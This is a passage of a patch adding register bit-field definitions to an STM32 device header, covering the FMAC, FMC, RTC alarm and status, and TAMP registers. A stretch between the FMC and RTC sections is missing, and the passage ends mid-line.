FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2U) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3U) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4U) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8U) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9U) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15U) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16U) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0U) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1U) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8U) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9U) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10U) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0U) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0U) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20U) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0U) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4U) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7U) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8U) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12U) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15U) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16U) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20U) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22U) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23U) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24U) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28U) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30U) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31U) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0U) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24U) +#define RTC_ALRMASSR_MASKSS_Msk (0x3FUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x3F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_MASKSS_4 (0x10UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x10000000 */ +#define RTC_ALRMASSR_MASKSS_5 (0x20UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x20000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31U) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0U) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4U) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7U) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8U) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12U) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15U) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16U) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20U) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22U) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23U) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24U) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28U) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30U) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31U) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0U) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24U) +#define RTC_ALRMBSSR_MASKSS_Msk (0x3FUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x3F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_MASKSS_4 (0x10UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBSSR_MASKSS_5 (0x20UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31U) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0U) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1U) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2U) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3U) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4U) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5U) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6U) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0U) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1U) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2U) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3U) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4U) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5U) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6U) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0U) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1U) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2U) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3U) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4U) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5U) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6U) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0U) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1U) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2U) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3U) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4U) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5U) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6U) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_OR register ******************/ +#define RTC_OR_OUT2_RMP_Pos (0U) +#define RTC_OR_OUT2_RMP_Msk (0x1UL << RTC_OR_OUT2_RMP_Pos) /*!< 0x00000001 */ +#define RTC_OR_OUT2_RMP RTC_OR_OUT2_RMP_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0U) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0U) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0U) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1U) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2U) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3U) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4U) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5U) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6U) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define 